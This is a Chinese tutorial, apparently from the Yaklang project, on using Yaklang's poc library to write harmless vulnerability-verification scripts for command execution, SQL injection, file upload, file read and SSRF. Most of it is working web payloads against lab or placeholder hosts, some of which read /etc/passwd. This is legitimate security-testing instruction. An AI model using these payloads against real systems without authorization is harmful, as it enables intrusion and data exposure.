文末“阅读原文”可直接跳转官网
Yaklang 的语法总的来说参考了其他许多语言,你可以看到许多语言中的影子,例如 Golang(主要),Python,JS等。这使得学习 Yaklang 的成本对于学习过相关语言(尤其是 Yaklang)的用户来说是非常低的,通常这类用户可以在 10 分钟内快速上手 Yaklang 。
在 Yakit 中,我们最常用发送 HTTP 数据包的工具非 web fuzzer 莫属了,实际上,web fuzzer的发包能力底层也是通过 Yaklang 中的 poc 库来实现的,因此,我们可以使用 Yaklang 中的 poc 库来实现大部分发送 HTTP 数据包的功能。
在旧版的 Yaklang 中,有许多库都能够完成发包工作,例如 fuzz,httppool,http等,实际上对于编写 POC 来说,我们只需要重点关注 poc 库即可。
poc.Do(method, url, ...)
poc.Get(url, ...)
poc.Post(url, ...)
poc.Delete(url, ...)
poc.Options(url, ...)
poc.Do("GET", "https://example.com")
// 也可以使用
poc.Get("https://example.com")
// 发送POST请求
poc.Post("https://exapmle.com")
poc.HTTPEx(raw, ...)
poc.HTTPEx
,第一个参数填入原始报文,即可将报文发送至对应目标服务器(如果没有额外指定,则是Host
请求头对应的目标服务器)。// 最多10并发
swg = sync.NewSizedWaitGroup(10)
// 发送一共100个请求
for i in 100 {
swg.Add(1)
go func {
defer swg.Done()
rsp, req = poc.Get(f"https://example.com?times=${i}")~
println(rsp.GetStatusCode())
}
}
swg.Wait()
// 最多10并发swg = sync.NewSizedWaitGroup(10)// 先生成100个请求reqRaws = x`GET /?i={{int(1-100)}} HTTP/1.1Host: www.example.com`// 再发送一共100个请求for raw in reqRaws { swg.Add(1) go func { defer swg.Done() rsp, req = poc.HTTPEx(raw)~ println(rsp.GetStatusCode()) }}swg.Wait()
poc.host(host) // 指定目标服务器,如果未指定则使用 Host 请求头对应的目标服务器
poc.port(port) // 指定目标服务器端口,如果未指定则使用 Host 请求头对应的目标服务器端口
poc.timeout(floatSecond) // 指定超时时间,单位为妙
poc.https(bool) // 指定是否为 HTTPS 请求
poc.http2(bool) // 指定是否为 HTTP2 请求
poc.session(sessionName) // 指定 session 名,当设置后会使用指定 session 进行请求,用同一个session发起的请求会自动管理Cookie
poc.redirectTimes(times) // 指定跟踪重定向的次数
poc.noRedirect(bool) // 指定为 true 时禁止重定向,相当于poc.redirectTimes(0)
poc.redirectHandler(f) // 使用自定义函数来控制重定向逻辑
poc.proxy(proxies) // 指定请求使用的代理
poc.dnsServer(server) // 指定请求使用的DNS服务器
poc.username(username) // 指定请求认证的用户名,支持 BASIC/DIGEST/NTLM 认证
poc.password(password) // 指定请求认证的密码
poc.noFixContentLength(bool) // 指定为 true 时发送请求时不会对请求包进行修复(Content-Length,CRLF)等
poc.replaceQueryParam(key, value) // 替换 GET 请求参数对应的值,如果不存在则增加
poc.replacePostParam(key, value) // 替换 POST 请求参数对应的值,如果不存在则增加
poc.replaceHeader(key, value) // 替换请求头对应的值,如果不存在则增加
poc.replaceUserAgent(ua) // 替换请求的 User-Agent 请求头
poc.replaceHost(host) // 替换请求的 Host 请求头
poc.replaceBody(body) // 替换请求体
poc.appendQueryParam(key, value) // 添加 GET 请求参数对应的值
poc.appendPostParam(key, value) // 添加 POST 请求参数对应的值
poc.appendHeader(key, value) // 添加请求头对应的值
poc.deleteQueryParam(key) // 删除 GET 请求参数对应的值
poc.deletePostParam(key) // 删除 POST 请求参数对应的值
poc.deleteHeader(key) // 删除请求头对应的值
rsp, req = poc.HTTPEx(
`POST /post HTTP/1.1
Content-Type: application/json
Host: pie.dev
`,
poc.https(true),
poc.timeout(15),
poc.proxy("http://127.0.0.1:1080"),
poc.appendHeader("AAA", "BBB"),
poc.appendQueryParam("a", "b"),
poc.appendPostParam("c", "d"),
)~
poc.HTTPEx
为例,其函数签名为:func HTTPEx(i any, opts ...PocConfigOption) (rsp *lowhttp.LowhttpResponse, req *http.Request, err error)
desc(rsp)
代码,或者通过在 Yakit 的 Yak Runner 中鼠标悬浮提示来了解这个响应结构体及其成员的信息。rsp.RawPacket // 原始响应报文
rsp.GetBody() // 原始响应体
rsp.GetStatusCode() // 响应状态码
rsp.GetDurationFloat() // 服务器响应时间,即服务器建立连接后到发送第一个响应字节所花的时间,通常在无回显判断漏洞检测中使用
rsp.rsp.TraceInfo.ServerTime // 与rsp.GetDurationFloat() 一样
poc.GetHTTPPacketFirstLine(rsp.RawPacket) // 获取响应的协议版本,状态码,状态码描述poc.GetHTTPPacketHeader(rsp.RawPacket,key) // 获取响应的某个请求头的值poc.GetHTTPPacketHeaders(rsp.RawPacket) // 获取响应的所有请求头的值poc.GetHTTPPacketBody(rsp.RawPacket) // 获取响应体
rsp, req = poc.HTTPEx(
`POST /post HTTP/1.1
Content-Type: application/json
Host: pie.dev
`,
poc.https(true),
poc.timeout(15),
poc.proxy("http://127.0.0.1:1080"),
poc.appendHeader("AAA", "BBB"),
poc.appendQueryParam("a", "b"),
poc.appendPostParam("c", "d"),
)~
body = rsp.GetBody()
code = rsp.GetStatusCode()
t = rsp.GetDurationFloat()
// 计算与判断两个整数的和
i,j = randn(1000, 2000), randn(100, 999)
sum = i + j
cmd = codec.EscapeQueryUrl(f"expr ${i}+${j}")
rsp, req = poc.HTTPEx(f`GET /rce?cmd=${cmd} HTTP/1.1
Host: www.vulnerable.com
`)~
if string(sum) in rsp.RawPacket {
dump("存在漏洞")
}
// 计算与判断两个整数的和i,j = randn(1000, 2000), randn(100, 999)sum = i + jcmd = codec.EscapeQueryUrl(f`cmd /c "set /a ${i}+${j}"`)rsp, req = poc.HTTPEx(f`GET /rce?cmd=${cmd} HTTP/1.1Host: www.vulnerable.com`)~if string(sum) in rsp.RawPacket { dump("存在漏洞")}
// 计算与判断两个整数的和
func checkPacket(command, want) {
cmd = codec.EscapeQueryUrl(f`cmd /c "set /a ${i}+${j}"`)
rsp, req = poc.HTTPEx(f`GET /rce?cmd=${cmd} HTTP/1.1
Host: www.vulnerable.com
`)~
return string(want) in rsp.RawPacket
}
i,j = randn(1000, 2000), randn(100, 999)
sum = i + j
linuxCmd = codec.EscapeQueryUrl(f"expr ${i}+${j}")
windowsCmd = codec.EscapeQueryUrl(f`cmd /c "set /a ${i}+${j}"`)
if checkPacket(linuxCmd, sum) || checkPacket(windowsCmd, sum) {
dump("存在漏洞")
}
// 计算与判断一个随机字符串的MD5
s = randstr(16)
cmd = codec.EscapeQueryUrl(f`echo md5("${s}");`)
rsp, req = poc.HTTPEx(f`GET /rce?code=${cmd} HTTP/1.1
Host: www.vulnerable.com
`)~
if codec.Md5(s) in rsp.RawPacket {
dump("存在漏洞")
}
fp = "/etc/passwd"
rsp, req = poc.HTTPEx(f`GET /file_read?file=${fp} HTTP/1.1
Host: www.vulnerable.com
`)~
body = rsp.GetBody()
if rsp.GetStatusCode() == 200 && len(body) > 0 && "root:x:" in body && "nobody:x:" in body {
dump("存在漏洞")
}
fp = "C:\\Windows\\win.ini"
rsp, req = poc.HTTPEx(f`GET /file_read?file=${fp} HTTP/1.1
Host: www.vulnerable.com
`)~
body = rsp.GetBody()
if rsp.GetStatusCode() == 200 && len(body) > 0 && "16-bit app support" in body {
dump("存在漏洞")
}
// 假设服务器 SQL 查询语句为:select username, password from users where username = '%s',其中%s为用户可控,存在SQL注入
s = randstr(16)
username = codec.EscapeQueryUrl(f`xxxxx' union all select 1,md5('${s}'); -- `)
rsp, req = poc.HTTPEx(f`GET /union_sql?username=${username} HTTP/1.1
Host: www.vulnerable.com
`)~
body = rsp.GetBody()
if len(body) > 0 && codec.Md5(s) in body {
dump("存在漏洞")
}
// 假设服务器 SQL 查询语句为:select username, password from users where username = '%s',其中%s为用户可控,存在SQL注入
s = randstr(16)
username = codec.EscapeQueryUrl(f`1' and updatexml(1,concat(0x7e,md5('${s}'),0x7e,1,0x7e,2),1)-- `)
rsp, req = poc.HTTPEx(f`GET /error_sql?username=${username} HTTP/1.1
Host: www.vulnerable.com
`)~
body = rsp.GetBody()
if len(body) > 0 && codec.Md5(s) in body {
dump("存在漏洞")
}
// 假设服务器 SQL 查询语句为:select username, password from users where username = '%s',其中%s为用户可控,存在SQL注入
// 假设已知一个存在的用户名kobe
username = codec.EscapeQueryUrl(f`kobe' and sleep(3)-- `)
rsp, req = poc.HTTPEx(f`GET /no_output_sql?username=${username} HTTP/1.1
Host: www.vulnerable.com
`)~
body = rsp.GetBody()
if rsp.GetDurationFloat() > 3 {
dump("存在漏洞")
}
// 这里以 pikachu 靶场的文件上传为例
s = randstr(16)
// 上传
rsp, req = poc.HTTPEx(f`POST /vul/unsafeupload/clientcheck.php HTTP/1.1
Host: 127.0.0.1:8765
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Referer: http://172.27.214.38:8765/vul/unsafeupload/clientcheck.php
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzO5eB8A7KMQZG4Ml
Content-Length: 38747
------WebKitFormBoundaryzO5eB8A7KMQZG4Ml
Content-Disposition: form-data; name="uploadfile"; filename="abc.php"
Content-Type: image/png
<?php
echo md5("${s}");
unlink(__FILE__);
?>
------WebKitFormBoundaryzO5eB8A7KMQZG4Ml
Content-Disposition: form-data; name="submit"
开始上传
------WebKitFormBoundaryzO5eB8A7KMQZG4Ml--`)~
// 这里可以根据上传请求的响应来拿到文件上传的路径
body = rsp.GetBody()
uploadFilePath = ""
if "文件保存的路径为:" in body {
uploadFilePath = body.Split("文件保存的路径为:")[1].Split("</p>")[0].Trim()
}
// 漏洞不存在
if uploadFilePath == "" {
return
}
// 访问上传的文件
rsp, req = poc.HTTPEx(f`GET /vul/unsafeupload/${uploadFilePath} HTTP/1.1
Host: 127.0.0.1:8765
`)~
body = rsp.GetBody()
if codec.Md5(s) in body {
dump("存在漏洞")
}
file:///etc/passwd
// 这里以 pikachu 靶场的SSRF为例
url = codec.EscapeQueryUrl(f`file:///etc/passwd`)
rsp, req = poc.HTTPEx(f`GET /vul/ssrf/ssrf_curl.php?url=${url} HTTP/1.1
Host: 127.0.0.1:8765
`)~
body = rsp.GetBody()
if rsp.GetStatusCode() == 200 && len(body) > 0 && "root:x:" in body && "nobody:x:" in body {
dump("存在漏洞")
}
// 这里以 pikachu 靶场的SSRF为例
s = randstr(16)
url = codec.EscapeQueryUrl(f`data://text/plain;base64,`) + codec.EncodeBase64(s)
rsp, req = poc.HTTPEx(f`GET /vul/ssrf/ssrf_fgc.php?file=${url} HTTP/1.1
Host: 172.27.214.38:8765
`)~
body = rsp.GetBody()
if rsp.GetStatusCode() == 200 && len(body) > 0 && s in body {
dump("存在漏洞")
}
// 这里以 pikachu 靶场的SSRF为例domain, token = risk.NewDNSLogDomain()~url = codec.EscapeQueryUrl(f`http://${domain}`)rsp, req = poc.HTTPEx(f`GET /vul/ssrf/ssrf_curl.php?url=${url} HTTP/1.1Host: 127.0.0.1:8765`)~events = risk.CheckDNSLogByToken(token, 5)~if len(events) > 0 { dump("存在漏洞")}
举个例子,反序列化漏洞可能利用过程比较复杂,但是实际上造成的危害通常都是上述一些漏洞造成的危害,如命令执行,文件读取,服务端请求伪造等,也可以通过上面的依据来无害化判断漏洞是否存在。
对上述的模板进行总结:
对于有回显的漏洞,我们普遍采用计算的方式来验证漏洞,不论是 哈希计算(如md5)还是算数计算(如加法)也好,检测计算后的结果是否存在于响应中,比直接检测某个输入直接在响应中要靠谱得多。
对于无回显的漏洞,我们可以采用延时或者外带的方式来验证漏洞
延时:代码执行/数据库中的睡眠函数,命令执行中的睡眠命令
外带:通常指 DNSLog或HTTPLog
YAK官方资源
Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ